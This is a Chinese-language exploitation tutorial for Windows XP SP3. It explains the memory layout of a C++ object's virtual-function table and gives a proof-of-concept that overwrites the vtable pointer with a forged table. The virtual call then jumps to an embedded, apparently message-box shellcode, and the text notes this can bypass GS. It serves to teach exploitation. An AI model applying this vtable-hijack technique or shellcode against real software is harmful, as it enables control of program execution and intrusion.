C++虚函数和类在内存中的位置关系
虚函数示例
/*
标题:攻击C++虚函数
操走系统:xp s3
编辑器:vc6.0
*/
#include <iostream.h>
#include <windows.h>
class People{
public:
People(char* m_id,char* m_name){
strcpy(id,m_id);
strcpy(name,m_name);
}
virtual void print(){
cout<<"I am Person\n";
cout<<"ID:\t"<<id<<endl;
cout<<"Name:\t"<<name<<endl;
}
virtual void GetName(){
cout<<"I am Person\n";
cout<<"Name:\t"<<name<<endl;
}
char name[100];
char id[100];
};
class Student:public People{
public:
Student(char* m_id,char* m_name,char* m_grade):People(m_id,m_name){strcpy(grade,m_grade);}
char grade[100];
virtual void print(){
cout<<"I am student . [ID] "<<id<< "\t[Name]"<<name<<endl;
GetName();
}
virtual void GetName(){
cout<<"I am Student and my name is\t"<<name<<endl;
}
};
int main(int argc,char** argv){
Student s("0001","ysy","12");
s.print();
return 0;
}
分析
c++初始化一个含有虚函数的类student,返回值为0x12fe48,查看对应内存,前四个字节为虚表地址,后面接name和id这两个成员变量。
查看地址为0x428038的虚表,是两个虚函数的地址,ida在这边已经识别出来了。
如何利用
相比xp s2,在xp s3上,虚函数攻击会有所不同,可以发现在Student类中print这个虚函数里面再去调用GetName这个虚函数,就会使用到虚表,直接修改类中虚表地址,从而达到控制eip的目的,而且在一定情况下可以突破GS。
0x401450:将类的地址赋值给edx,也就是edx指向类中虚表指针
0x401453:将虚表地址赋值给eax,也就是获取虚表地址
0x40145a:获取虚表中第二个虚函数地址,也就是之前的GetName的地址
利用示例
直接构造一个虚表,然后将新的虚表地址覆盖类中的虚表指针
/*
标题:攻击C++虚函数
操走系统:xp s3
编辑器:vc6.0
*/
#include <iostream.h>
#include <windows.h>
char shellcode[]="\x90\x90\xfc\x68\x6a\x0a\x38\x1e\x68\x63\x89\xd1\x4f\x68\x32\x74\x91\x0c\x8b\xf4\x8d\x7e\xf4\x33\xdb\xb7\x04\x2b\xe3\x66\xbb\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xd2\x64\x8b\x5a\x30\x8b\x4b\x0c\x8b\x49\x1c\x8b\x09\x8b\x69\x08\xad\x3d\x6a\x0a\x38\x1e\x75\x05\x95\xff\x57\xf8\x95\x60\x8b\x45\x3c\x8b\x4c\x05\x78\x03\xcd\x8b\x59\x20\x03\xdd\x33\xff\x47\x8b\x34\xbb\x03\xf5\x99\x0f\xbe\x06\x3a\xc4\x74\x08\xc1\xca\x07\x03\xd0\x46\xeb\xf1\x3b\x54\x24\x1c\x75\xe4\x8b\x59\x24\x03\xdd\x66\x8b\x3c\x7b\x8b\x59\x1c\x03\xdd\x03\x2c\xbb\x95\x5f\xab\x57\x61\x3d\x6a\x0a\x38\x1e\x75\xa9\x33\xdb\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6c\x8b\xc4\x53\x50\x50\x53\xff\x57\xfc\x53\xff\x57\xf8\x90\x90\x90";
void test(){
cout<<"test\n";
}
class People{
public:
People(char* m_id,char* m_name){
strcpy(id,m_id);
strcpy(name,m_name);
}
virtual void print(){
cout<<"I am Person\n";
cout<<"ID:\t"<<id<<endl;
cout<<"Name:\t"<<name<<endl;
}
virtual void GetName(){
cout<<"I am Person\n";
cout<<"Name:\t"<<name<<endl;
}
char name[100];
char id[100];
};
class Student:public People{
public:
Student(char* m_id,char* m_name,char* m_grade):People(m_id,m_name){strcpy(grade,m_grade);}
char grade[100];
virtual void print(){
cout<<"I am student . [ID] "<<id<< "\t[Name]"<<name<<endl;
GetName();
}
virtual void GetName(){
cout<<"I am Student and my name is\t"<<name<<endl;
}
};
int main(int argc,char** argv){
int new_vftable[2];
new_vftable[0]=(int)&test;
new_vftable[1]=(int)&shellcode;
Student s("0001","ysy","12");
*(int*)&s=(int)&new_vftable;
s.print();
return 0;
}